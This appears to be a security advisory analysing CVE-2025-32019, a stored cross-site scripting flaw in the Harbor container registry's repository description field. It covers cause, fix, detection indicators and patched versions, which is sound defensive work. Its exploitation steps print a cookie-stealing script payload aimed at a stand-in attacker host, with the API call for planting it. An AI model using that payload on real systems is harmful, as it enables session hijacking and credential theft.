CVE-2025-32019: 
Harbor vulnerability analysis and mitigation

CVE-2025-32019 is a stored Cross-Site Scripting (XSS) vulnerability in the Harbor open source cloud native container registry. It affects Harbor versions up to and including 2.11.2, 2.12.0-rc1 through 2.12.2, and 2.13.0-rc1, where the markdown/description field in the repository info tab page fails to sanitize user-supplied input before rendering it in the browser. The vulnerability was disclosed on July 23, 2025, with patches released the same day. It carries a CVSS v3.1 base score of 4.1 (Moderate) (Github Advisory, Harbor Advisory).

The root cause is improper neutralization of user-controllable input during web page generation (CWE-79), specifically in the UpdateRepository handler (src/server/v2.0/handler/repository.go). The Description field of a repository was passed directly from user input (params.Repository.Description) to the database without HTML escaping, allowing an attacker with low-privilege access to inject arbitrary HTML/JavaScript into the repository description. The fix applies template.HTMLEscapeString() to sanitize the description before storage, preventing script injection (Harbor Advisory, Patch Commit).

Successful exploitation results in stored XSS, meaning malicious JavaScript injected into a repository description is persistently served to any user who views that repository's info tab. The primary impact is confidentiality loss (e.g., session token theft, credential harvesting) within the browser context of the victim user, with no direct integrity or availability impact on the server. Because the scope changes (attacker's script executes in the victim's browser context), the vulnerability could be used to hijack authenticated sessions or perform actions on behalf of higher-privileged users who view the poisoned repository (Github Advisory).

No public exploit code or in-the-wild exploitation has been reported for CVE-2025-32019. The EPSS score is approximately 0.03–0.16%, indicating a low near-term exploitation probability. Exploitation requires an authenticated account with at least low-level privileges to modify a repository description, and a victim user must subsequently view the affected repository page. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog (Github Advisory).

1. Obtain low-privilege access: Log in to a Harbor instance with any account that has permission to edit repository information (e.g., a developer or project member role).
2. Navigate to repository settings: Open a repository within a Harbor project and access the "Info" tab or repository settings where the description/markdown field is editable.
3. Inject XSS payload: Set the repository description to a malicious payload such as <script>document.location='https://attacker.example.com/steal?c='+document.cookie</script> or an equivalent HTML-based payload.
4. Save the description: Submit the update via the Harbor UI or directly via the Harbor API (PUT /api/v2.0/projects/{project_name}/repositories/{repository_name}) with the malicious description in the request body.
5. Wait for victim interaction: When a higher-privileged user (e.g., project admin or Harbor administrator) views the repository's info tab, the stored script executes in their browser, potentially exfiltrating session cookies or performing actions on their behalf (Harbor Advisory, Patch Commit).

• Logs: Harbor API access logs showing PUT /api/v2.0/projects/{project}/repositories/{repo} requests containing HTML or JavaScript tags (e.g., <script>, onerror=, javascript:) in the request body.
• Database: Repository description fields in the Harbor database containing raw HTML/JavaScript markup rather than plain text or standard markdown.
• Network: Outbound HTTP requests from victim browsers to unexpected external domains shortly after viewing a Harbor repository info page, potentially carrying cookie or session data in query parameters.
• Browser: Unexpected JavaScript execution or redirects when navigating to a Harbor repository's info tab, or browser developer console errors related to blocked script execution (if CSP is in place) (Harbor Advisory).

The Harbor project has released patched versions: 2.11.3 and 2.12.3 (stable releases), as well as 2.12.4-rc1 and 2.13.1-rc1 for release candidates. The fix applies template.HTMLEscapeString() to the repository description field before storage. No official workarounds are available; upgrading to a patched version is the only recommended remediation. Administrators should also audit existing repository descriptions for injected content after upgrading (Harbor Advisory, Patch Commit).